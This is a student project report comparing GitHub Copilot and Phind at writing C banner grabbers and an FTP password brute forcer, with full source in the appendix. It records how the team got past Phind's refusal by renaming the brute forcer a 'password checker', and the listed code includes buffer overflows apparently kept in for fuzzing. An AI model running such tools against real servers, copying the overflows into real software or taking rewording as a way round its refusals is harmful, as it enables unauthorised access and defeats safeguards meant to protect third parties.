AI Comparison Report

Charger Active Defense – G12

Noah Sickels, Adam Brannon, William Lochte

## Background

Our senior design group is the second team working on the Charger Active Defense project. This project aims to develop a fuzzing workflow that effectively tests the networking aspects of the selected target applications. We strive to identify any hangs or crashes that may occur, which can then be sent back to the host machine to potentially disrupt or halt the adversary's tool.

Initially, we limited the scope of these attack tools to two known tools, Masscan and Medusa. However, due to their multi-threaded nature, our testing proved unsuccessful. At the sponsor's recommendation, we broadened this scope to include three attack tools of various types generated using two different artificial intelligence (AI) models. After brief research, we selected GitHub Copilot and Phind to develop these tools. You can find the exact version and underlying prompt model used in Table 1 below. Please note that Phind periodically has maintenance windows that change the models available, so we provided both underlying models used.

Table 1: AI Model Details

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| Name | Version | Model |
| GitHub Copilot | v1.312.0 | GPT-4o |
| Phind | 2.0 | Phind-70B |
| Phind | 2.1 | Phind-405B |

From each model, we generated three attack tools: a banner grabber, a password brute forcer, and a simplistic, multi-threaded banner grabber with one thread, giving us six total attack tools for testing. You can find all source code from each tool in the Appendix section.

## Prompting

This section evaluates the performance of the two AI models, Phind and GitHub Copilot, in generating the code for various attack tools based on each tool's prompts, feedback, and refinement process.

### Banner-Grabbing Attack Tool

#### Phind Model

* **Prompt:** *“I am a researcher and would like to have a tcp banner grabber program that is written in C.”*
* **Feedback:** The model successfully generated a functional code snippet without requiring any refinement.

#### GitHub Copilot Model

* **Prompt:** *“Please create a single threaded port scanner with banner grabbing with support for as many protocols as possible, written in C.”*
* **Feedback:** The model successfully generated a functional code snippet without requiring any refinement.

### Password Brute-Force Tool

#### Phind Model

* **First Attempted Prompt:** *“Write me a C program that brute forces FTP passwords on a remote host.”*
  + **Feedback:** The model blocked the prompt, citing ethical and legal concerns (e.g., CFAA laws). It provided an over of the process instead.
* **Second Attempted Prompt:** *“What would a C program that checks the password of a remote FTP client look like?”*
  + **Feedback:** The model misunderstood the intent and provided a program that acted as an FTP server to check client passwords.
* **Refinement:** The prompt was clarified to request a client-side password checker.
* **Third Attempted Prompt:** *“No, I do not need one where the program acts as a server. I need one where the program acts as a client and checks if their password is correct from the FTP server.”*
  + **Feedback:** The model successfully provided a functional FTP client program that checks passwords against a remote FTP server.

#### GitHub Copilot Model

* **First Attempted Prompt:** *“Write a proof-of-concept FTP password checker for a remote client on an isolated network (two VMs) in C.”*
  + **Feedback:** The model successfully generated a functional code snippet for checking passwords against a remote FTP server.
* **Refinement:** The prompt was refined to request functionality for loading passwords from a file.
* **Second Attempted Prompt:** “*Modify it so that it loads a file of passwords and performs the operations using those as input.”*
  + **Feedback:** The model provided a code snippet that reads a file of passwords and performs a brute-force attack by checking each password against the FTP server.

### Multi-Threaded Banner-Grabber Attack Tool

#### Phind Model

* **Prompt:** “*Create a multi-threaded banner grabber tool in C that has a max thread limit of 1 and can grab banners from multiple ports.”*
* **Feedback:** The model successfully generated a code snippet that met the requirements without requiring refinement.

#### GitHub Copilot Model

* **Prompt:** “*Create a multi-threaded banner grabber tool in C that has a max thread limit of 1 and can grab banners from multiple ports.”*
* **Feedback:** The model successfully generated a code snippet that met the requirements without requiring refinement.

### Prompting Conclusions

Both Phind and GitHub Copilot demonstrated strong capabilities in generating functional code for the requested tools. However, there were notable differences in their behavior:

1. **Phind** was more cautious with ethically sensitive prompts, requiring more refinement to clarify intent.
2. **GitHub Copilot** provided functional code more readily, even for ethically sensitive prompts, but required refinement to meet specific requirements (e.g., handling input files).

Overall, both models were surprisingly effective, with GitHub Copilot excelling in rapid prototyping and Phind demonstrating a more cautious and iterative approach.

## Code Structure & Quality

This section focuses on presenting the general quality of the programs provided by both models. This includes overall functionality, modularity, error handling, and the use of libraries or data structures. The source code for each program is in the Appendix.

### Banner-Grabber

This program involved connecting to a target server and retrieving its banner, typically a string sent by the server upon connection. While we used similar prompts for both models, GitHub Copilot designed it to scan a range of ports on a given host and retrieve banners from their open ports. In contrast, the Phind banner grabber focused on connecting to a single specified host and port, making it more simplistic and targeted.

When looking at the code structure, the Phind model's program is more robust in several ways. Firstly, it uses `errno` to provide detailed error messages when socket creation, connection, or data reception fails. Additionally, it validates the hostname/IP format and ensures proper memory allocation for the banner buffer. On the other hand, GitHub Copilot's program has minimal error handling. For example, it does not provide detailed error messages for connection failures or invalid hostnames. It uses fixed-size buffers without dynamic memory allocation, which could lead to an overflow if a provided banner exceeds the buffer size.

The Phind model's program includes timeout settings for sending and receiving the data using the `setsockopt` method, making it more resilient to unresponsive servers. This method protects the program from hangs, as it will close the connection instead of waiting indefinitely for a response. GitHub Copilot's program does not implement any timeout mechanism, providing the ability to hang the program if the server does not respond.

Structurally, the Phind model's program is more modular, with separate functions for initializing the socket (`socket\_initialize`), connecting to the target (`connect\_to\_target`), and grabbing the banner (`grab\_banner`). The Copilot mode's program is far less modular, with the banner-grabbing logic embedded directly within the `banner\_grab` and `port\_scan` functions.

For memory management, Copilot's program uses a fixed-size buffer (`BUFFER\_SIZE`), which can be truncated if the banner exceeds the buffer size. Additionally, it does not dynamically allocate or free memory, limiting its flexibility. Phind's program dynamically allocates memory for the banner buffer using `malloc,` allowing it to handle banners of varying sizes (up to the specified buffer size). It also ensures that allocated memory is freed after use.

While both programs achieve the goal of banner grabbing, the Phind model's program is far more robust, modular, and easy to use, with better error handling, timeout management, and memory allocation. However, Copilot's program offers the additional capability of scanning a range of ports, making it more versatile for network reconnaissance tasks.

### Password Brute Force

Each model correctly generated a password brute forcing tool between the two generated programs but differed in design, functionality, and approach to handling the credentials and connections.

The Phind model provided a tool designed for interactive use. In this mode, the user manually enters the provided server IP address, username, and password via the console. In contrast, the Copilot's program automated this process by reading a list of username-password pairs from a file. It is worth noting that while we gave both models the same prompt, neither model initially generated the tool, denying any further prompts on the subject, most likely due to flagging the term "brute force." The Phind model initially provided an overview of how the program would operate but refused to generate the functional program and referenced legislation like the California Consumer Privacy Act as reasoning. After re-phrasing the prompt as a "password checker," we successfully got the desired functionality from each model.

Both programs establish a TCP connection to the provided server using the Sockets library, but their implementations vary slightly. The Phind model uses a dedicated `establish\_connection` function to handle socket creation and connection setup, encapsulating this logic for reuse. On the other hand, Copilot's program handles the connection setup directly within the `check\_ftp\_password` function, making it less modular and harder to extend.

Similarly to the banner grabber, the Phind model provided better-detailed error handling during the connection phase, using `perror` to report specific issues such as invalid addresses or connection failures. Copilot's program also uses `perror` for error reporting but exits the program immediately upon encountering an error, making batch processing more difficult. Their program also does not handle partial reads or writes, which makes it less functional depending on the network conditions.

The `verify\_credentials` function in the Phind brute forcing tool is more modular, handling the sending of USER and PASS commands and checking the server's responses. In contrast, Copilot's program embeds the credential logic directly within the `check\_tp\_password` function, reducing its modularity. Both programs rely on checking FTP response codes (331 for username accepted and 230 for successful login). Still, the Phind model uses a cleaner approach by encapsulating this logic into a single function.

Copilot's program does not perform input validation for the credentials file, which leads to issues if the file contains malformed entries. Conversely, the Phind model's program includes basic input validation, such as removing trailing newlines from user input and ensuring that the entered IP address is valid.

Functionally, the Phind model's program is better suited for manual testing or scenarios where a single set of credentials needs to be tested against a single server. Its interactive nature and modular design make it easier to use for targeted testing. On the other hand, Copilot's program is designed for automated brute-forcing of multiple credentials, making it more scalable for larger tasks.

While both programs successfully brute-force a remote target's password, the Phind model is more robust, modular, and easy to use, making it better for targeted testing. On the other hand, Copilot's program is more efficient for batch processing of multiple credential files but lacks the robustness and error handling of the Phind model.

### Multi-Threaded Banner-Grabber

The Phind model's program takes target IP addresses as command-line arguments, with each thread handling a single target. This approach is straightforward but limits the program to a fixed number of targets based on the number of threads (`MAX\_THREADS`). In contrast, Copilot's program reads targets from a file, where each line specifies an IP address and port. This handling makes Copilot's program mode flexible and scalable, as it can handle a large number of targets without requiring changes to the command-line arguments.

Both programs use the `pthread` library to create and manage their threads. However, as mentioned above, Phind's program creates a fixed number of threads (`MAX\_THREADS`) and assigns each thread a single target. GitHub Copilot's program dynamically creates threads for each target read from the file and uses a loop to join threads in batches when the maximum thread count is reached. This approach is more efficient and better suited for processing larger lists of targets but does not represent the ideal desired functionality of a simplistic multi-threaded application for testing.

Once again, the Phind model includes detailed error handling for socket creation, connection failures, and banner reception. It uses a mutex to ensure thread-safe updates to the sharded `scan\_result\_t` structure, which stores the status and banner for each target. In contrast, Copilot's program has simpler error handling, primarily using `perror` to report errors and exiting threads when failures occur. While this handling is sufficient for basic functionality, it lacks the thread-safety mechanisms in Phind's program.

The Phind's program receives the banner using the `recv` function. The result is stored in a shared structure (`scan\_result\_t`) with thread-safe access ensured by a mutex. This design allows the program to display detailed results for each target after all threads are completed. Copilot's program receives banners using the `read` function, and the result is printed directly to the console. This approach does not store the results for later use or ensure thread-safe access to shared resources.

Structurally, Phind's program is more modular, with separate functions for scanning targets (`scan\_target`) and managing threads. It also uses a structured approach to store results in a shared data structure. Copilot's program has a more monolithic design, with the banner-grabbing logic embedded directly in the thread function (`grab\_banner`).

Phind's program is better suited for scenarios where a small, fixed number of targets need to be scanned, as it uses a fixed thread pool and command-line arguments for input. On the other hand, Copilot's program is more scalable and flexible, as it can process a large list of targets from a file and dynamically manage threads. However, its lack of structure results in storage and thread-safe mechanisms that limit its reliability in complex scenarios.

While both programs correctly perform multi-threaded banner-grabbing, the Phind model's program is once again more robust and structured, with better error handling and thread safety. Copilot's program is more flexible and scalable, making it suitable for large-scale tasks. Still, it sacrifices some robustness and modularity in its implementation.

## Conclusions

Developing attack tools using AI models was much easier than we expected. Both models were capable of creating effective programs with the desired features without requiring extensive prompt engineering or manual code debugging. Surprisingly, even creating programs with ethical and legal implications was not as complicated as one might think. In the future, we look forward to further research and development in this area, whether by generating different attack tools or applying other models. We hope our project serves as a foundation for exploring the potential of AI.

## Appendix

Table 1: GitHub Copilot Banner-Grabber Source Code

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| // Github Copilot - C Banner Grabber Attack Tool  // Usage: gcc -fno-stack-protector -o gc\_banner\_grabber gc\_banner\_grabber.c  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <unistd.h>  #include <arpa/inet.h>  #include <netdb.h>  #define BUFFER\_SIZE 32  void banner\_grab(int sockfd)  {  char buffer[BUFFER\_SIZE];  int bytes\_received;  // Initialize buffer  memset(buffer, 0, sizeof(buffer));  // Receive banner  bytes\_received = recv(sockfd, buffer, 1024, 0);  if (bytes\_received < 0)  {  perror("recv");  return;  }  // Print banner  printf("Banner: %s\n", buffer);  // char small\_buffer[BUFFER\_SIZE];  // strcpy(small\_buffer, buffer);  // printf("Banner: %s\n", small\_buffer);  }  void scan\_port(const char \*host, int port)  {  int sockfd;  struct sockaddr\_in server\_addr;  struct hostent \*server;  // Create socket  sockfd = socket(AF\_INET, SOCK\_STREAM, 0);  if (sockfd < 0)  {  perror("socket");  return;  }  // Get server IP address  server = gethostbyname(host);  if (server == NULL)  {  fprintf(stderr, "Error: No such host\n");  close(sockfd);  return;  }  // Set up server address struct  memset(&server\_addr, 0, sizeof(server\_addr));  server\_addr.sin\_family = AF\_INET;  server\_addr.sin\_port = htons(port);  memcpy(&server\_addr.sin\_addr.s\_addr, server->h\_addr, server->h\_length);  // Attempt to connect to the server  if (connect(sockfd, (struct sockaddr \*)&server\_addr, sizeof(server\_addr)) < 0)  {  close(sockfd);  return;  }  printf("Port %d open\n", port);  banner\_grab(sockfd);  close(sockfd);  }  int main(int argc, char \*argv[])  {  const char \*host;  int start\_port, end\_port;  if (argc != 4)  {  fprintf(stderr, "Usage: %s <host> <start\_port> <end\_port>\n", argv[0]);  exit(EXIT\_FAILURE);  }  host = argv[1];  start\_port = atoi(argv[2]);  end\_port = atoi(argv[3]);  printf("Scanning ports %d-%d on %s...\n", start\_port, end\_port, host);  for (int port = start\_port; port <= end\_port; port++)  {  scan\_port(host, port);  }  printf("Scan complete.\n");  return 0;  } |

Table 2: Phind Banner-Grabber Source Code

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| // Phind - C++ Banner Grabber Attack Tool  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <unistd.h>  #include <errno.h>  #include <arpa/inet.h>  #include <netinet/in.h>  #include <sys/socket.h>  #include <time.h>  #define BUFFER\_SIZE 32  #define TIMEOUT\_SECONDS 20  // Structure to hold connection parameters  typedef struct  {  char \*hostname;  uint16\_t port;  } ConnectionParams;  // Initialize socket with timeout settings  int initialize\_socket()  {  int sockfd = socket(AF\_INET, SOCK\_STREAM, IPPROTO\_TCP);  if (sockfd == -1)  {  fprintf(stderr, "Error creating socket: %s\n", strerror(errno));  exit(EXIT\_FAILURE);  }  // Set timeouts  struct timeval tv;  tv.tv\_sec = TIMEOUT\_SECONDS;  tv.tv\_usec = 0;  if (setsockopt(sockfd, SOL\_SOCKET, SO\_RCVTIMEO, &tv, sizeof(tv)) == -1 ||  setsockopt(sockfd, SOL\_SOCKET, SO\_SNDTIMEO, &tv, sizeof(tv)) == -1)  {  perror("Failed to set socket timeout");  close(sockfd);  exit(EXIT\_FAILURE);  }  return sockfd;  }  // Connect to target server  int connect\_to\_target(int sockfd, const ConnectionParams \*params)  {  struct sockaddr\_in server\_addr;  server\_addr.sin\_family = AF\_INET;  server\_addr.sin\_port = htons(params->port);  // Convert hostname to IP address  if (inet\_pton(AF\_INET, params->hostname, &server\_addr.sin\_addr) <= 0)  {  fprintf(stderr, "Invalid hostname/IP format\n");  return 0;  }  // Attempt connection with timeout  if (connect(sockfd, (struct sockaddr \*)&server\_addr, sizeof(server\_addr)) == -1)  {  if (errno != ETIMEDOUT && errno != ECONNREFUSED)  {  perror("Connection failed");  }  return 0;  }  return 1;  }  // Grab banner from server  char \*grab\_banner(int sockfd, size\_t buffer\_size)  {  char \*buffer = malloc(buffer\_size);  if (!buffer)  {  fprintf(stderr, "Memory allocation failed\n");  return NULL;  }  ssize\_t bytes\_received = recv(sockfd, buffer, buffer\_size - 1, 0);  if (bytes\_received <= 0)  {  free(buffer);  return NULL;  }  buffer[bytes\_received] = '\0';  return buffer;  }  int main(int argc, char \*argv[])  {  if (argc != 3)  {  fprintf(stderr, "Usage: %s <hostname/IP> <port>\n", argv[0]);  return EXIT\_FAILURE;  }  ConnectionParams params = {  .hostname = argv[1],  .port = atoi(argv[2])};  // Validate port number  if (params.port < 1 || params.port > 65535)  {  fprintf(stderr, "Invalid port number\n");  return EXIT\_FAILURE;  }  int sockfd = initialize\_socket();  printf("Attempting connection to %s:%d...\n", params.hostname, params.port);  if (connect\_to\_target(sockfd, &params))  {  printf("Connected successfully!\n");  char \*banner = grab\_banner(sockfd, BUFFER\_SIZE);  if (banner)  {  printf("Received banner:\n%s\n", banner);  free(banner);  }  else  {  printf("No banner received\n");  }  }  close(sockfd);  return EXIT\_SUCCESS;  } |

Table 3: GitHub Copilot Brute Force Source Code

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| // #########################  // # GitHub Copilot - FTP Password Brute Forcer  //  // Compile: gcc brute\_force.c -o brute\_force  // Usage: ./brute\_force <credentials\_file>  //  // #########################  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <unistd.h>  #include <arpa/inet.h>  #include <netinet/in.h>  #define SERVER\_IP "192.168.56.106" // Replace with your FTP server IP  #define SERVER\_PORT 1337  #define BUFFER\_SIZE 32  #define MAX\_LINE\_LENGTH 10  void check\_ftp\_password(const char \*username, const char \*password)  {  int sockfd;  struct sockaddr\_in server\_addr;  char buffer[BUFFER\_SIZE];  char response[BUFFER\_SIZE];  // Create socket  sockfd = socket(AF\_INET, SOCK\_STREAM, 0);  if (sockfd < 0)  {  perror("Socket creation failed");  exit(EXIT\_FAILURE);  }  // Set server address  server\_addr.sin\_family = AF\_INET;  server\_addr.sin\_port = htons(SERVER\_PORT);  server\_addr.sin\_addr.s\_addr = inet\_addr(SERVER\_IP);  // Connect to server  if (connect(sockfd, (struct sockaddr \*)&server\_addr, sizeof(server\_addr)) < 0)  {  perror("Connection failed");  close(sockfd);  exit(EXIT\_FAILURE);  }  // Read server response  read(sockfd, response, BUFFER\_SIZE);  printf("Server: %s", response);  // Send USER command  // snprintf(buffer, BUFFER\_SIZE, "USER %s\r\n", username);  sprintf(buffer, "USER %s\r\n", username);  write(sockfd, buffer, strlen(buffer));  read(sockfd, response, BUFFER\_SIZE);  printf("Server: %s", response);  // Send PASS command  // snprintf(buffer, BUFFER\_SIZE, "PASS %s\r\n", password);  sprintf(buffer, "PASS %s\r\n", password);  write(sockfd, buffer, strlen(buffer));  read(sockfd, response, BUFFER\_SIZE);  printf("Server: %s", response);  // Check if login was successful  if (strstr(response, "230") != NULL)  {  printf("Login successful: %s / %s\n", username, password);  }  else  {  printf("Login failed: %s / %s\n", username, password);  }  // Close socket  close(sockfd);  }  void load\_credentials\_and\_check(const char \*filename)  {  FILE \*file = fopen(filename, "r");  if (file == NULL)  {  perror("Failed to open file");  exit(EXIT\_FAILURE);  }  printf("Loading credentials from file: %s\n", filename);  char line[MAX\_LINE\_LENGTH];  char username[MAX\_LINE\_LENGTH];  char password[MAX\_LINE\_LENGTH];  while (fgets(line, sizeof(line), file))  {  if (sscanf(line, "%s %s", username, password) == 2)  {  printf("Checking credentials...\n");  check\_ftp\_password(username, password);  }  }  fclose(file);  }  int main(int argc, char \*argv[])  {  if (argc != 2)  {  fprintf(stderr, "Usage: %s <credentials\_file>\n", argv[0]);  exit(EXIT\_FAILURE);  }  printf("Connecting to server...\n");  load\_credentials\_and\_check(argv[1]);  return 0;  } |

Table 4: Phind Brute Force Source Code

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| // Phind - C FTP Password Brute Forcer Attack Tool  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <sys/socket.h>  #include <netinet/in.h>  #include <arpa/inet.h>  #include <unistd.h>  #define BUFFER\_SIZE 32  #define PORT 1337  // Function prototypes  int establish\_connection(const char \*server\_ip);  char \*get\_response(int socket);  int verify\_credentials(int socket, const char \*username, const char \*password);  int main()  {  int sock;  char buffer[BUFFER\_SIZE];  // Get server information from user  printf("Enter FTP server IP address: ");  fgets(buffer, BUFFER\_SIZE, stdin);  buffer[strcspn(buffer, "\n")] = 0; // Remove trailing newline  // Establish connection  sock = establish\_connection(buffer);  if (sock < 0)  {  perror("Connection failed");  return 1;  }  // Get credentials  printf("Enter username: ");  fgets(buffer, BUFFER\_SIZE, stdin);  buffer[strcspn(buffer, "\n")] = 0;  printf("Enter password: ");  fgets(buffer + strlen(buffer), BUFFER\_SIZE - strlen(buffer), stdin);  buffer[strcspn(buffer, "\n")] = 0;  // Verify credentials  int success = verify\_credentials(sock, buffer, buffer + strlen(buffer));  if (success)  {  printf("Password verified successfully!\n");  }  else  {  printf("Invalid password\n");  }  // Clean up  shutdown(sock, SHUT\_RDWR);  close(sock);  return 0;  }  int establish\_connection(const char \*server\_ip)  {  int sock;  struct sockaddr\_in server\_addr;  // Create socket  sock = socket(AF\_INET, SOCK\_STREAM, 0);  if (sock < 0)  {  perror("socket creation failed");  return -1;  }  // Configure server address  server\_addr.sin\_family = AF\_INET;  server\_addr.sin\_port = htons(PORT);  if (inet\_pton(AF\_INET, server\_ip, &server\_addr.sin\_addr) <= 0)  {  perror("invalid address");  return -1;  }  // Connect to server  if (connect(sock, (struct sockaddr \*)&server\_addr, sizeof(server\_addr)) < 0)  {  perror("connection failed");  return -1;  }  return sock;  }  char \*get\_response(int socket)  {  static char buffer[BUFFER\_SIZE];  memset(buffer, 0, BUFFER\_SIZE);  recv(socket, buffer, BUFFER\_SIZE - 1, 0);  return buffer;  }  int verify\_credentials(int socket, const char \*username, const char \*password)  {  char command[BUFFER\_SIZE];  // Send USER command  snprintf(command, BUFFER\_SIZE, "USER %s\r\n", username);  send(socket, command, strlen(command), 0);  // Check response  if (strstr(get\_response(socket), "331") == NULL)  {  return 0;  }  // Send PASS command  snprintf(command, BUFFER\_SIZE, "PASS %s\r\n", password);  send(socket, command, strlen(command), 0);  // Check final response  return strstr(get\_response(socket), "230") != NULL;  } |

Table 5: GitHub Copilot Multi-Threaded Banner-Grabber Source Code

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| // GitHub Copilot - C Multi-threaded Banner Grabber  // Usage: ./multi\_thread\_banner\_grabber <targets\_file>  // Targets file format: <ip> <port>  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <unistd.h>  #include <pthread.h>  #include <arpa/inet.h>  #include <netinet/in.h>  #define BUFFER\_SIZE 32  #define MAX\_THREADS 1  typedef struct  {  char ip[INET\_ADDRSTRLEN];  int port;  } target\_t;  void \*grab\_banner(void \*arg)  {  target\_t \*target = (target\_t \*)arg;  int sockfd;  struct sockaddr\_in server\_addr;  char buffer[BUFFER\_SIZE];  char response[BUFFER\_SIZE];  // Create socket  sockfd = socket(AF\_INET, SOCK\_STREAM, 0);  if (sockfd < 0)  {  perror("Socket creation failed");  pthread\_exit(NULL);  }  // Set server address  server\_addr.sin\_family = AF\_INET;  server\_addr.sin\_port = htons(target->port);  inet\_pton(AF\_INET, target->ip, &server\_addr.sin\_addr);  // Connect to server  if (connect(sockfd, (struct sockaddr \*)&server\_addr, sizeof(server\_addr)) < 0)  {  perror("Connection failed");  close(sockfd);  pthread\_exit(NULL);  }  // Send a simple request  snprintf(buffer, BUFFER\_SIZE, "HEAD / HTTP/1.0\r\n\r\n");  write(sockfd, buffer, strlen(buffer));  // Read server response  read(sockfd, response, BUFFER\_SIZE);  printf("Banner from %s:%d\n%s\n", target->ip, target->port, response);  // Close socket  close(sockfd);  pthread\_exit(NULL);  }  int main(int argc, char \*argv[])  {  if (argc != 2)  {  fprintf(stderr, "Usage: %s <targets\_file>\n", argv[0]);  exit(EXIT\_FAILURE);  }  FILE \*file = fopen(argv[1], "r");  if (file == NULL)  {  perror("Failed to open file");  exit(EXIT\_FAILURE);  }  target\_t targets[MAX\_THREADS];  pthread\_t threads[MAX\_THREADS];  int thread\_count = 0;  while (fscanf(file, "%s %d", targets[thread\_count].ip, &targets[thread\_count].port) == 2)  {  if (pthread\_create(&threads[thread\_count], NULL, grab\_banner, &targets[thread\_count]) != 0)  {  perror("Failed to create thread");  exit(EXIT\_FAILURE);  }  thread\_count++;  if (thread\_count >= MAX\_THREADS)  {  for (int i = 0; i < thread\_count; i++)  {  pthread\_join(threads[i], NULL);  }  thread\_count = 0;  }  }  for (int i = 0; i < thread\_count; i++)  {  pthread\_join(threads[i], NULL);  }  fclose(file);  return 0;  } |

Table 6: Phind Multi-Threaded Banner-Grabber Source Code

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| // Phind - C Multi-threaded Banner Grabber Attack Tool  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <pthread.h>  #include <sys/socket.h>  #include <netinet/in.h>  #include <arpa/inet.h>  #include <unistd.h>  #define MAX\_THREADS 1  #define BUFFER\_SIZE 32  #define PORT 1337  // Shared result structure  typedef struct  {  char ip[BUFFER\_SIZE];  int status;  char banner[BUFFER\_SIZE];  } scan\_result\_t;  // Mutex for thread-safe operations  static pthread\_mutex\_t mutex = PTHREAD\_MUTEX\_INITIALIZER;  void \*scan\_target(void \*arg)  {  scan\_result\_t \*result = (scan\_result\_t \*)arg;  int sockfd;  struct sockaddr\_in server\_addr;  char buffer[BUFFER\_SIZE];  // Initialize socket  sockfd = socket(AF\_INET, SOCK\_STREAM, 0);  if (sockfd < 0)  {  pthread\_mutex\_lock(&mutex);  strcpy(result->banner, "Failed to create socket");  result->status = -1;  pthread\_mutex\_unlock(&mutex);  return NULL;  }  // Setup server address  server\_addr.sin\_family = AF\_INET;  inet\_pton(AF\_INET, result->ip, &server\_addr.sin\_addr);  server\_addr.sin\_port = htons(PORT);  // Connect to target  if (connect(sockfd, (struct sockaddr \*)&server\_addr, sizeof(server\_addr)) < 0)  {  pthread\_mutex\_lock(&mutex);  strcpy(result->banner, "Connection failed");  result->status = -1;  pthread\_mutex\_unlock(&mutex);  close(sockfd);  return NULL;  }  // Receive banner  int bytes\_received = recv(sockfd, buffer, BUFFER\_SIZE - 1, 0);  if (bytes\_received <= 0)  {  pthread\_mutex\_lock(&mutex);  strcpy(result->banner, "No banner received");  result->status = -1;  pthread\_mutex\_unlock(&mutex);  }  else  {  buffer[bytes\_received] = '\0';  pthread\_mutex\_lock(&mutex);  strncpy(result->banner, buffer, BUFFER\_SIZE - 1);  result->banner[BUFFER\_SIZE - 1] = '\0';  result->status = 0;  pthread\_mutex\_unlock(&mutex);  }  close(sockfd);  return NULL;  }  int main(int argc, char \*argv[])  {  if (argc < 3)  {  printf("Usage: %s <target\_ip\_1> <target\_ip\_2>\n", argv[0]);  return 1;  }  // Create scan result structures  scan\_result\_t targets[MAX\_THREADS];  pthread\_t threads[MAX\_THREADS];  // Initialize target IPs  strncpy(targets[0].ip, argv[1], BUFFER\_SIZE - 1);  targets[0].ip[BUFFER\_SIZE - 1] = '\0';  if (argc > 3)  {  strncpy(targets[1].ip, argv[2], BUFFER\_SIZE - 1);  targets[1].ip[BUFFER\_SIZE - 1] = '\0';  }  // Create threads  for (int i = 0; i < MAX\_THREADS && i < argc - 1; i++)  {  pthread\_create(&threads[i], NULL, scan\_target, &targets[i]);  }  // Wait for threads to complete  for (int i = 0; i < MAX\_THREADS && i < argc - 1; i++)  {  pthread\_join(threads[i], NULL);  }  // Display results  printf("\nScan Results:\n");  for (int i = 0; i < MAX\_THREADS && i < argc - 1; i++)  {  printf("Target %d (%s):\n", i + 1, targets[i].ip);  printf("Status: %d\n", targets[i].status);  printf("Banner: %s\n\n", targets[i].banner);  }  return 0;  } |